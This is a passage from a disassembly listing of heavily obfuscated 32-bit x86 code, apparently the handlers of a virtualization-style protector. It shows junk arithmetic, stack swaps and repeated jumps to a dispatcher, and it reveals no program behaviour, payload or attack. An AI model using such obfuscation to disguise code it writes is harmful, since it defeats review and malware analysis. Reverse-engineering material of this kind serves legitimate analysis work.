		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+70h+var_70]
		jmp	loc_58C1D3
; ---------------------------------------------------------------------------


loc_585AD7:				; CODE XREF: sub_57DD3A+5C70j
		add	esi, 517D781Fh
		sub	esi, 0C181981Dh
		add	eax, esi
		mov	esi, [esp+70h+var_70]
		jmp	loc_584FE9
; ---------------------------------------------------------------------------


loc_585AED:				; CODE XREF: sub_57DD3A+632Dj
		mov	[esp+0B4h+var_B4], edi
		jmp	loc_58DE15
; ---------------------------------------------------------------------------


loc_585AF5:				; CODE XREF: sub_57DD3A+4E7Cj
		mov	edi, 5CB06DCBh
		jmp	loc_58DB7B
; ---------------------------------------------------------------------------


loc_585AFF:				; CODE XREF: sub_57DD3A+8DEAj
		pop	ebx
		add	edx, 2
		push	edx
		push	[esp+58h+var_54]
		jmp	loc_58AAAC
; ---------------------------------------------------------------------------
		mov	eax, [esp+5Ch+var_5C]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_589970
; ---------------------------------------------------------------------------


loc_585B1E:				; CODE XREF: sub_57DD3A+D0CBj
		mov	edx, 54925274h
		add	ebp, edx
		pop	edx
		sub	ecx, ebp
		pop	ebp
		mov	eax, [esp+58h+var_58]
		add	esp, 4
		push	edi
		mov	edi, 58A104A4h
		xor	edi, 58A104A0h
		jmp	loc_58A7EB
; ---------------------------------------------------------------------------


loc_585B40:				; CODE XREF: sub_57DD3A+A1AFj
		push	eax
		mov	ah, 78h
		mov	cl, ah
		pop	eax
		mov	dl, cl
		mov	ecx, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_589FEF
; ---------------------------------------------------------------------------


loc_585B53:				; CODE XREF: sub_57DD3A+B360j
		push	esi
		mov	esi, 812010Eh
		jmp	loc_587FDF
; ---------------------------------------------------------------------------


loc_585B5E:				; CODE XREF: sub_57DD3A+E3FAj
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585B66:				; CODE XREF: sub_57DD3A+6903j
		pop	ebp
		xchg	esi, [esp+82h+var_84+2]
		mov	esp, [esp+82h+var_84+2]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585B72:				; CODE XREF: sub_57DD3A+91B3j
		pop	ecx
		sub	edx, 377562ACh
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585B7E:				; CODE XREF: sub_57DD3A+DD68j
		mov	[esp+7Eh+var_80+2], edi
		push	2110h
		mov	[esp+82h+var_84+2], esp
		push	esi
		mov	esi, 4
		add	[esp+86h+var_84+2], esi
		pop	esi
		mov	edi, [esp+82h+var_84+2]
		jmp	loc_584FCE
; ---------------------------------------------------------------------------


loc_585B9C:				; CODE XREF: sub_57DD3A+8309j
		xor	ebx, 7CBE2D64h
		sub	ebx, 6B7D799Ah
		sub	ebx, 26CB8E4Ch
		add	eax, ebx
		mov	ebx, [esp+82h+var_84+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+86h+var_88+2]
		pop	esp
		jmp	loc_581A9E
; ---------------------------------------------------------------------------


loc_585BC8:				; CODE XREF: sub_57DD3A+A259j
		mov	cl, ah
		mov	eax, [esp+82h+var_84+2]
		add	esp, 4
		jmp	loc_581EE6
; ---------------------------------------------------------------------------


loc_585BD8:				; CODE XREF: sub_57DD3A+BC70j
		add	ecx, ebp
		pop	ebp
		jmp	loc_5897B0
; ---------------------------------------------------------------------------


loc_585BE0:				; CODE XREF: sub_57DD3A+F27Aj
		mov	ecx, [esp+7Ah+var_7C+2]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp+76h+var_78+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+7Ah+var_7C+2]
		pop	esp
		shr	ecx, 0Bh
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 5DB85E93h
		and	ebx, 583D7C2Fh
		neg	ebx
		inc	ebx
		sub	ebx, 6E20C78h
		not	ebx
		add	ebx, 0A0E5978Bh
		jmp	loc_585A66
; ---------------------------------------------------------------------------


loc_585C2B:				; CODE XREF: sub_57DD3A+6A46j
		mov	ebx, [esp+0C4h+var_C4]
		add	esp, 4
		jmp	loc_5867EC
; ---------------------------------------------------------------------------


loc_585C39:				; CODE XREF: sub_57DD3A+BE30j
		add	al, 1Bh
		sub	al, bl
		sub	al, 1Bh
		push	ebx
		mov	bl, 0D2h
		jmp	loc_58297A
; ---------------------------------------------------------------------------


loc_585C47:				; CODE XREF: sub_57DD3A+81E8j
		mov	eax, esp
		jmp	loc_5850B1
; ---------------------------------------------------------------------------


loc_585C4E:				; CODE XREF: sub_57DD3A+4641j
		sub	ecx, ebx
		sub	ecx, 55CB2221h
		pop	ebx
		jmp	loc_582E35
; ---------------------------------------------------------------------------


loc_585C5C:				; CODE XREF: sub_57DD3A+E108j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_588E47
; ---------------------------------------------------------------------------


loc_585C6C:				; CODE XREF: sub_57DD3A+41AFj
		dec	cl
		xor	cl, 35h
		jmp	loc_58A050
; ---------------------------------------------------------------------------


loc_585C76:				; CODE XREF: sub_57DD3A+EBDFj
		add	ecx, 4
		push	edx
		mov	edx, 63BF3BE0h
		neg	edx
		shl	edx, 5
		push	esi
		mov	esi, 88188404h
		xor	edx, esi
		jmp	loc_5872FC
; ---------------------------------------------------------------------------


loc_585C94:				; CODE XREF: sub_57DD3A+6431j
		mov	[esp+88h+var_88], esi
		push	ecx
		jmp	loc_58B72C
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5820AD
; ---------------------------------------------------------------------------


loc_585CA3:				; CODE XREF: sub_57DD3A+69F6j
		xor	edi, 0B3716E0h
		jmp	loc_58DE76
; ---------------------------------------------------------------------------


loc_585CAE:				; CODE XREF: sub_57DD3A+4B46j
		pop	esi
		push	ebp
		mov	ebp, 7AC14D1Eh
		sub	ebp, 53C11835h
		push	ebp
		jmp	loc_5845DB
; ---------------------------------------------------------------------------


loc_585CC1:				; CODE XREF: sub_57DD3A+9FC2j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585CC6:				; CODE XREF: sub_57DD3A+4C46j
		push	edx
		mov	dh, 2Eh
		sub	dh, 1Ah
		sub	al, dh
		pop	edx
		sub	esp, 2
		jmp	loc_587B50
; ---------------------------------------------------------------------------


loc_585CDA:				; CODE XREF: sub_57DD3A+EB9Aj
		pop	ebp
		sub	ebx, 36B2667Bh
		add	ebx, eax
		jmp	loc_58B58E
; ---------------------------------------------------------------------------


loc_585CE8:				; CODE XREF: sub_57DD3A+BC24j
		push	0ACBh
		jmp	loc_58B108
; ---------------------------------------------------------------------------


loc_585CF2:				; CODE XREF: sub_57DD3A+95DBj
		mov	esi, [esp+68h+var_68]
		add	esp, 4
		neg	esi
		add	esi, 485A248Ah
		jmp	loc_5848E8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+64h+var_64]
		push	edx
		mov	edx, esp
		jmp	loc_588B0F
; ---------------------------------------------------------------------------


loc_585D11:				; CODE XREF: sub_57DD3A+B231j
		add	esp, 4
		sub	esp, 4
		jmp	loc_581C71
; ---------------------------------------------------------------------------
		lodsd
		push	14ADh
		mov	[esp+6Ch+var_6C], edx
		mov	edx, 2BF60DA4h
		jmp	loc_58C7ED
; ---------------------------------------------------------------------------


loc_585D32:				; CODE XREF: sub_57DD3A+DD3Bj
		mov	ebx, 38054193h
		add	ebx, 0EB631FAFh
		xor	ecx, ebx
		jmp	loc_582478
; ---------------------------------------------------------------------------


loc_585D44:				; CODE XREF: sub_57DD3A+487Cj
		xchg	ebx, [esp+74h+var_74]
		pop	esp
		sub	esp, 4
		mov	[esp+74h+var_74], edx
		push	0C08h
		mov	[esp+78h+var_78], ecx
		push	edx
		mov	dh, 0A9h
		mov	cl, dh
		pop	edx
		mov	dl, cl
		pop	ecx
		not	dl
		add	dl, 3Dh
		push	ebx
		mov	bl, 0EDh
		sub	dl, bl
		pop	ebx
		jmp	loc_589E9F
; ---------------------------------------------------------------------------


loc_585D6F:				; CODE XREF: sub_57DD3A+AA38j
		add	al, bl
		sub	al, 4Eh
		pop	ebx
		push	ecx
		mov	cl, 0B5h
		add	al, 0A3h
		push	ecx
		mov	ch, 0C2h
		add	ch, 8Bh
		xor	ch, 1Eh
		dec	ch
		add	ch, 81h
		add	al, ch
		pop	ecx
		add	al, cl
		jmp	loc_586516
; ---------------------------------------------------------------------------


loc_585D91:				; CODE XREF: sub_57DD3A+4431j
		add	ecx, edi
		jmp	loc_58AC98
; ---------------------------------------------------------------------------


loc_585D98:				; CODE XREF: sub_57DD3A+10226j
		and	[edi+1Ch], esi
		push	[esp+5Ch+var_5C]
		push	[esp+60h+var_60]
		jmp	loc_586B0B
; ---------------------------------------------------------------------------


loc_585DA6:				; CODE XREF: sub_57DD3A+EDB2j
		push	eax
		jmp	loc_588F75
; ---------------------------------------------------------------------------


loc_585DAC:				; CODE XREF: sub_57DD3A+7845j
		push	ebp
		push	edx
		mov	edx, 5FF12E15h
		xor	edx, 62153AC6h
		push	ecx
		mov	ecx, 3A642ED0h
		neg	ecx
		shr	ecx, 8
		sub	ecx, 0CAD47D9Bh
		jmp	loc_58462D
; ---------------------------------------------------------------------------


loc_585DCF:				; CODE XREF: sub_57DD3A+A655j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585DD4:				; CODE XREF: sub_57DD3A+B6DEj
		push	[esp+66h+var_68+2]
		pop	esi
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585DE0:				; CODE XREF: sub_57DD3A+3C80j
		pop	ecx
		push	39h
		mov	[esp+66h+var_68+2], esi
		mov	esi, 4
		push	eax
		mov	eax, 6A492EE8h
		sub	ecx, eax
		pop	eax
		add	ecx, esi
		push	edi
		mov	edi, 1B151049h
		neg	edi
		push	ecx
		mov	ecx, 7AA1C0CFh
		jmp	loc_582AB0
; ---------------------------------------------------------------------------


loc_585E0C:				; CODE XREF: sub_57DD3A+E910j
		pop	esp
		jmp	loc_58202A
; ---------------------------------------------------------------------------


loc_585E12:				; CODE XREF: sub_57DD3A+BF9Fj
		and	edi, 378A723Ah
		sub	edi, 3F9520E7h
		xor	edi, 54C25351h
		xor	esi, edi
		pop	edi
		add	edx, esi
		jmp	loc_588D24
; ---------------------------------------------------------------------------


loc_585E2E:				; CODE XREF: sub_57DD3A+E064j
		mov	eax, [esp+66h+var_68+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+6Ah+var_6C+2]
		pop	esp
		mov	ebp, [esp+66h+var_68+2]
		sub	esp, 4
		mov	[esp+6Ah+var_6C+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+6Ah+var_6C+2]
		pop	esp
		xchg	ebx, ebp
		push	ebx
		not	[esp+6Ah+var_6C+2]
		pop	ebx
		xchg	ebx, ebp
		jmp	loc_5896F0
; ---------------------------------------------------------------------------


loc_585E6D:				; CODE XREF: sub_57DD3A+A915j
		add	[esp+66h+var_64+2], edx
		push	edi
		push	ecx
		push	esi
		push	325145B2h
		pop	esi
		jmp	loc_589367
; ---------------------------------------------------------------------------


loc_585E7F:				; CODE XREF: sub_57DD3A+4EBBj
		mov	edx, [esp+5Ch+var_5C]
		jmp	loc_58836A
; ---------------------------------------------------------------------------


loc_585E87:				; CODE XREF: sub_57DD3A+B003j
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], ebp
		jmp	loc_589529
; ---------------------------------------------------------------------------


loc_585E9E:				; CODE XREF: sub_57DD3A+9857j
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+58h+var_58]
		pop	esp
		xor	ebp, [esp+54h+var_54]
		xor	[esp+54h+var_54], ebp
		xor	ebp, [esp+54h+var_54]
		pop	esp
		push	[esp+50h+var_50]
		jmp	loc_58B344
; ---------------------------------------------------------------------------


loc_585EBA:				; CODE XREF: sub_57DD3A+D1CDj
		pop	edi
		jmp	loc_58D570
; ---------------------------------------------------------------------------


loc_585EC0:				; CODE XREF: sub_57DD3A+F2B3j
		mov	esp, [esp+50h+var_50]
		mov	ax, word ptr [esp+50h+var_50]
		sub	esp, 4
		jmp	loc_58865B
; ---------------------------------------------------------------------------


loc_585ED2:				; CODE XREF: sub_57DD3A+71BEj
		mov	edi, [esp+72h+var_74+2]
		add	esp, 4
		jmp	loc_587B03
; ---------------------------------------------------------------------------


loc_585EE0:				; CODE XREF: sub_57DD3A+AFB0j
		pop	[esp+6Eh+var_70+2]
		pop	esp
		mov	[esp+66h+var_68+2], eax
		jmp	loc_586055
; ---------------------------------------------------------------------------


loc_585EEC:				; CODE XREF: sub_57DD3A+AC30j
		mov	esi, 5223091h
		or	ebx, esi
		pop	esi
		jmp	loc_58BB2C
; ---------------------------------------------------------------------------


loc_585EF9:				; CODE XREF: sub_57DD3A+9E4Bj
		mov	[esp+62h+var_64+2], esi
		jmp	loc_583AFD
; ---------------------------------------------------------------------------


loc_585F01:				; CODE XREF: sub_57DD3A+78E8j
		mov	[esp+80h+var_80], eax
		jmp	loc_58C5B4
; ---------------------------------------------------------------------------


loc_585F09:				; CODE XREF: sub_57DD3A+E3E7j
		add	[esp+80h+var_80], 615F1E75h
		pop	edi
		sub	edi, 615F1E75h
		jmp	loc_584EEB
; ---------------------------------------------------------------------------


loc_585F1C:				; CODE XREF: sub_57DD3A+B168j
		mov	esi, 26E0104h
		push	eax
		jmp	loc_585C47
; ---------------------------------------------------------------------------


loc_585F27:				; CODE XREF: sub_57DD3A+3DA5j
		pop	edi
		jmp	loc_5845B9
; ---------------------------------------------------------------------------


loc_585F2D:				; CODE XREF: sub_57DD3A+F5C6j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+66h+var_68+2]
		xor	[esp+66h+var_68+2], esi
		xor	esi, [esp+66h+var_68+2]
		jmp	loc_585054
; ---------------------------------------------------------------------------


loc_585F46:				; CODE XREF: sub_57DD3A+A286j
		pop	edx
		sub	ecx, edx
		mov	edx, [esp+62h+var_64+2]
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, 0FC37AB3h
		neg	edi
		or	edi, 6A7F2757h
		shr	edi, 3
		xor	edi, 4923146Dh
		inc	edi
		sub	edi, 0DD7C8E8Bh
		push	edi
		pop	ebx
		pop	edi
		add	eax, ebx
		mov	ebx, [esp+62h+var_64+2]
		add	esp, 4
		sub	eax, ecx
		push	edi
		mov	edi, 23FE79B1h
		dec	edi
		inc	edi
		sub	edi, 39CE142Eh
		inc	edi
		add	edi, 2A1E1012h
		xor	edi, 6CBE246Ah
		sub	eax, edi
		pop	edi
		pop	ecx
		add	ebx, 76645F2Bh
		jmp	loc_58A908
; ---------------------------------------------------------------------------


loc_585FA8:				; CODE XREF: sub_57DD3A+4005j
		pop	edx
		jmp	loc_5875DE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+9Eh+var_A0+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585FBD:				; CODE XREF: sub_57DD3A+7D3Ej
		mov	ecx, edi
		pop	edi
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	[esp+80h+var_7C]
		pop	edx
		jmp	loc_582D6E
; ---------------------------------------------------------------------------


loc_585FD1:				; CODE XREF: sub_57DD3A+BFBDj
		push	ebx
		mov	ebx, 4D697F08h
		mov	esi, ebx
		jmp	loc_58C497
; ---------------------------------------------------------------------------


loc_585FDE:				; CODE XREF: sub_57DD3A+D814j
		sub	esp, 4
		mov	[esp+88h+var_88], edx
		jmp	loc_581F7B
; ---------------------------------------------------------------------------


loc_585FE9:				; CODE XREF: sub_57DD3A+E87Dj
		mov	ah, bh
		pop	ebx
		mov	bh, ah
		jmp	loc_58C2B7
; ---------------------------------------------------------------------------


loc_585FF3:				; CODE XREF: sub_57DD3A+8A84j
		pop	edx
		xchg	ecx, [esp+80h+var_80]
		pop	esp
		push	4FDEh
		mov	[esp+80h+var_80], edx
		mov	edx, esi
		jmp	loc_5877C8
; ---------------------------------------------------------------------------


loc_586007:				; CODE XREF: sub_57DD3A+B671j
		sub	eax, 0D28E1898h
		add	ebp, eax
		pop	eax
		add	ebp, 6AC826A6h
		pop	esi
		push	edi
		mov	edi, 0
		sub	edi, 64AE4CBDh
		sub	edi, ebp
		add	edi, 64AE4CBDh
		xchg	edi, ebp
		jmp	loc_58621B
; ---------------------------------------------------------------------------


loc_586031:				; CODE XREF: sub_57DD3A+E11Cj
		inc	esi
		add	esi, 0C3BCA9EAh
		add	eax, esi
		mov	esi, [esp+7Ch+var_7C]
		jmp	loc_58DE61
; ---------------------------------------------------------------------------


loc_586042:				; CODE XREF: sub_57DD3A+5D7Cj
		dec	ebx
		jmp	loc_585B9C
; ---------------------------------------------------------------------------


loc_586048:				; CODE XREF: sub_57DD3A+5B6Ej
		pop	edi
		jmp	loc_58DDC0
; ---------------------------------------------------------------------------


loc_58604E:				; CODE XREF: sub_57DD3A+D243j
		add	ecx, edi
		jmp	loc_5876C4
; ---------------------------------------------------------------------------


loc_586055:				; CODE XREF: sub_57DD3A+81ADj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58605A:				; CODE XREF: sub_57DD3A+F80Aj
		mov	cl, dh
		pop	edx
		push	edx
		mov	dl, cl
		mov	ah, dl
		pop	edx
		pop	ecx
		pop	ebx
		mov	bl, ah
		pop	eax
		jmp	loc_582C9B
; ---------------------------------------------------------------------------


loc_58606D:				; CODE XREF: sub_57DD3A+DCD9j
		push	[esp+56h+var_54+2]
		pop	edi
		pop	[esp+56h+var_58+2]
		jmp	loc_588183
; ---------------------------------------------------------------------------


loc_58607A:				; CODE XREF: sub_57DD3A+963Bj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], eax
		push	2A344FC3h
		pop	eax
		or	edx, eax
		jmp	loc_5883E4
; ---------------------------------------------------------------------------


loc_586099:				; CODE XREF: sub_57DD3A+E5A5j
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 1B3212F6h
		not	edi
		and	edi, 7A9230CDh
		sub	edi, 28B70DC2h
		xor	edx, edi
		pop	edi
		jmp	loc_58DB24
; ---------------------------------------------------------------------------


loc_5860B8:				; CODE XREF: sub_57DD3A+9436j
		push	[esp+4Ah+var_4C+2]
		mov	edi, [esp+4Eh+var_50+2]
		add	esp, 4
		add	esp, 4
		pop	[esp+46h+var_46]
		mov	esp, [esp+42h+var_42]
		mov	word ptr [esp+42h+var_42], dx
		push	ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5860D9:				; CODE XREF: sub_57DD3A+EBA8j
		push	ecx
		mov	ch, 17h
		add	ch, 0FFh
		not	ch
		dec	ch
		neg	ch
		shl	ch, 8
		sub	ch, 0C7h
		sub	bl, ch
		mov	ecx, [esp+4Ch+var_4C]
		jmp	loc_5885CA
; ---------------------------------------------------------------------------


loc_5860F5:				; CODE XREF: sub_57DD3A+9A4Bj
		mov	ebp, eax
		jmp	loc_586175
; ---------------------------------------------------------------------------


loc_5860FC:				; CODE XREF: sub_57DD3A+FCAEj
		and	byte ptr [esp+4Ch+var_4C], al
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+50h+var_50]
		push	4836h
		mov	[esp+54h+var_54], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+58h+var_58]
		pop	esp
		jmp	loc_58BCBA
; ---------------------------------------------------------------------------


loc_586126:				; CODE XREF: sub_57DD3A+C75Aj
		push	eax
		push	esi
		push	7D7A6C97h
		pop	esi
		xor	esi, 5D5A4447h
		mov	eax, esi
		pop	esi
		xor	eax, 5D375415h
		mov	esi, eax
		jmp	loc_58D3B1
; ---------------------------------------------------------------------------


loc_586143:				; CODE XREF: sub_57DD3A+EBE6j
		pop	edi
		pop	ebx
		push	edx
		mov	edx, 27C84499h
		jmp	loc_5862B8
; ---------------------------------------------------------------------------


loc_586150:				; CODE XREF: sub_57DD3A+EC28j
		mov	eax, 7796A3EAh
		mov	edi, eax
		jmp	loc_5862CB
; ---------------------------------------------------------------------------


loc_58615C:				; CODE XREF: sub_57DD3A+5533j
		add	eax, 0E8F23F0h
		jmp	loc_588B76
; ---------------------------------------------------------------------------


loc_586166:				; CODE XREF: sub_57DD3A+EFA5j
		xchg	ecx, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], edx
		mov	dh, 62h
		push	ebx
		jmp	loc_582035
; ---------------------------------------------------------------------------


loc_586175:				; CODE XREF: sub_57DD3A+83BDj
		mov	[edi+24h], ebp
		jmp	loc_584CEB
; ---------------------------------------------------------------------------


loc_58617D:				; CODE XREF: sub_57DD3A+C260j
		rol	word ptr [esp+4Ch+var_4C], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_586187:				; CODE XREF: sub_57DD3A+7694j
		add	esp, 4
		sub	esp, 4
		jmp	loc_58599E
; ---------------------------------------------------------------------------


loc_586198:				; CODE XREF: sub_57DD3A+DBF8j
		mov	edi, 53AA66AFh
		jmp	loc_589AB2
; ---------------------------------------------------------------------------


loc_5861A2:				; CODE XREF: sub_57DD3A+BF93j
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], esi
		mov	esi, esp
		push	ecx
		push	edi
		mov	edi, 25B455A2h
		jmp	loc_58432B
; ---------------------------------------------------------------------------


loc_5861B9:				; CODE XREF: sub_57DD3A+59D5j
		push	ebp
		mov	ebp, 60720612h
		add	edi, ebp
		mov	ebp, [esp+0ACh+var_AC]
		add	esp, 4
		add	edi, eax
		sub	edi, 60720612h
		jmp	loc_58665A
; ---------------------------------------------------------------------------


loc_5861D7:				; CODE XREF: sub_57DD3A+BF05j
		shl	ebx, 8
		shr	ebx, 8
		dec	ebx
		dec	ebx
		or	ebx, 474D74BBh
		jmp	loc_58CA88
; ---------------------------------------------------------------------------


loc_5861EA:				; CODE XREF: sub_57DD3A+E751j
		xor	esi, [esp+0A8h+var_A8]
		mov	esp, [esp+0A8h+var_A8]
		sub	word ptr [esp+0A8h+var_A8], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5861FA:				; CODE XREF: sub_57DD3A+6CF7j
		pop	eax
		push	edi
		sub	esp, 4
		jmp	loc_584C28
; ---------------------------------------------------------------------------


loc_586207:				; CODE XREF: sub_57DD3A+A91Cj
		add	ch, bl
		sub	ch, 0DBh
		pop	ebx
		jmp	loc_589B7B
; ---------------------------------------------------------------------------


loc_586212:				; CODE XREF: sub_57DD3A+A7DDj
		xchg	ecx, [esp+90h+var_90]
		pop	esp
		jmp	loc_58A0A7
; ---------------------------------------------------------------------------


loc_58621B:				; CODE XREF: sub_57DD3A+82F2j
		pop	edi
		jmp	loc_5891FF
; ---------------------------------------------------------------------------


loc_586221:				; CODE XREF: sub_57DD3A+AB7Aj
		pop	[esp+78h+var_78]
		add	[esp+74h+var_74], 4
		push	[esp+74h+var_74]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+70h+var_70]
		xor	[esp+70h+var_70], ecx
		xor	ecx, [esp+70h+var_70]
		mov	esp, [esp+70h+var_70]
		mov	[esp+70h+var_70], edx
		mov	edx, 1
		and	eax, edx
		mov	edx, [esp+70h+var_70]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_582747
; ---------------------------------------------------------------------------


loc_586267:				; CODE XREF: sub_57DD3A+A6A5j
		push	ax
		jmp	loc_586314
; ---------------------------------------------------------------------------


loc_58626E:				; CODE XREF: sub_57DD3A+53FAj
		mov	ebp, [esp+9Eh+var_A0+2]
		add	esp, 4
		add	eax, 4
		jmp	loc_5896FF
; ---------------------------------------------------------------------------


loc_58627F:				; CODE XREF: sub_57DD3A+10081j
		mov	eax, 6DFC4ABAh
		add	eax, 0FFFFFFFFh
		jmp	loc_586DB0
; ---------------------------------------------------------------------------


loc_58628C:				; CODE XREF: sub_57DD3A+85D5j
		mov	eax, [esp+9Ah+var_9C+2]
		add	esp, 4
		add	eax, 4
		push	3507h
		jmp	loc_583233
; ---------------------------------------------------------------------------


loc_5862A1:				; CODE XREF: sub_57DD3A+47F2j
		mov	eax, 6DDC0FD3h
		xor	eax, 2CBA0036h
		shr	eax, 8
		add	eax, 1BB0016Bh
		jmp	loc_58C0F5
; ---------------------------------------------------------------------------


loc_5862B8:				; CODE XREF: sub_57DD3A+8411j
		push	edx
		not	[esp+58h+var_58]
		inc	[esp+58h+var_58]
		jmp	loc_58BC83
; ---------------------------------------------------------------------------


loc_5862C4:				; CODE XREF: sub_57DD3A+AF00j
		mov	ebx, esp
		jmp	loc_588E5B
; ---------------------------------------------------------------------------


loc_5862CB:				; CODE XREF: sub_57DD3A+841Dj
		pop	eax
		sub	edi, ebx
		pop	ebx
		xor	[esp+4], edi
		mov	edi, [esp+4Ch+var_4C]
		add	esp, 4
		jmp	loc_58AE32
; ---------------------------------------------------------------------------


loc_5862E1:				; CODE XREF: sub_57DD3A+89D3j
		mov	edi, 21870630h
		xor	edi, 65267E5Dh
		xor	edi, 53EA2498h
		sub	edi, 23A9629Ah
		jmp	loc_5863F5
; ---------------------------------------------------------------------------


loc_5862FD:				; CODE XREF: sub_57DD3A+A429j
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_5847B4
; ---------------------------------------------------------------------------


loc_58630B:				; CODE XREF: sub_57DD3A+A126j
		mov	[esp+44h+var_46+2], eax
		push	esp
		jmp	loc_58628C
; ---------------------------------------------------------------------------


loc_586314:				; CODE XREF: sub_57DD3A+852Fj
		mov	al, 98h
		jmp	loc_58A882
; ---------------------------------------------------------------------------


loc_58631B:				; CODE XREF: sub_57DD3A+B342j
		mov	esp, [esp+72h+var_74+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_584E3A
; ---------------------------------------------------------------------------


loc_586332:				; CODE XREF: sub_57DD3A+E849j
		add	esp, 4
		jmp	loc_58A17D
; ---------------------------------------------------------------------------


loc_58633A:				; CODE XREF: sub_57DD3A+C9A1j
		shr	ebx, 8
		add	ebx, 508CEF9Ah
		and	edx, ebx
		jmp	loc_583FED
; ---------------------------------------------------------------------------


loc_58634A:				; CODE XREF: sub_57DD3A+D986j
		sub	al, 4Bh
		add	al, bl
		push	ecx
		push	edx
		mov	dl, 4
		push	2A58h
		mov	[esp+7Eh+var_80+2], ebx
		mov	bl, 3Ch
		sub	bl, 0B1h
		shr	bl, 2
		jmp	loc_58D220
; ---------------------------------------------------------------------------


loc_586367:				; CODE XREF: sub_57DD3A+4D27j
		mov	esp, [esp+60h+var_60]
		shl	word ptr [esp+60h+var_60], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_586374:				; CODE XREF: sub_57DD3A+A08Bj
		mov	edx, 33CA3485h
		and	edx, 59D14F96h
		jmp	loc_58893F
; ---------------------------------------------------------------------------


loc_586384:				; CODE XREF: sub_57DD3A+F946j
		pop	edi
		add	edx, eax
		push	ecx
		mov	ecx, 6BEB52E2h
		push	eax
		mov	eax, 2B3C63A7h
		jmp	loc_587AD6
; ---------------------------------------------------------------------------


loc_586398:				; CODE XREF: sub_57DD3A+A63Cj
		push	esi
		push	[esp+6Ch+var_68]
		pop	esi
		pop	[esp+6Ch+var_6C]
		pop	esp
		xchg	ecx, [esp+64h+var_64]
		mov	esp, [esp+64h+var_64]
		mov	[esp+64h+var_64], edi
		mov	edi, 2
		sub	esi, 40171739h
		add	esi, edi
		add	esi, 40171739h
		jmp	loc_588B00
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+64h+var_64]
		jmp	loc_5872E3
; ---------------------------------------------------------------------------


loc_5863CC:				; CODE XREF: sub_57DD3A+1019Cj
		mov	[esp+64h+var_64], esp
		push	edx
		push	ebp
		mov	ebp, 34DC6649h
		mov	edx, 34DC664Dh
		jmp	loc_587C02
; ---------------------------------------------------------------------------


loc_5863E0:				; CODE XREF: sub_57DD3A+FD17j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_588125
; ---------------------------------------------------------------------------


loc_5863ED:				; CODE XREF: sub_57DD3A+BD85j
		xchg	ebx, [esp+6Ch+var_6C]
		jmp	loc_589599
; ---------------------------------------------------------------------------


loc_5863F5:				; CODE XREF: sub_57DD3A+85BEj
		add	edi, 62A730AEh
		xor	ecx, edi
		pop	edi
		and	ebp, ecx
		pop	ecx
		dec	ebp
		jmp	loc_589531
; ---------------------------------------------------------------------------


loc_586407:				; CODE XREF: sub_57DD3A+CCCEj
		mov	bh, 0DFh
		sub	al, bh
		mov	ebx, [esp+40h+var_42+2]
		add	esp, 4
		sub	al, 69h
		jmp	loc_5854C7
; ---------------------------------------------------------------------------


loc_586418:				; CODE XREF: sub_57DD3A+7766j
		pop	edx
		sub	esi, ebx
		pop	ebx
		add	edx, esi
		jmp	loc_58364D
; ---------------------------------------------------------------------------


loc_586423:				; CODE XREF: sub_57DD3A+5604j
		add	al, 5Fh
		not	al
		add	al, 25h
		jmp	loc_58D8F7
; ---------------------------------------------------------------------------


loc_58642E:				; CODE XREF: sub_57DD3A+6E8Cj
		push	bx
		mov	bl, dl
		jmp	loc_582804
; ---------------------------------------------------------------------------


loc_586437:				; CODE XREF: sub_57DD3A+C252j
		mov	edx, 2
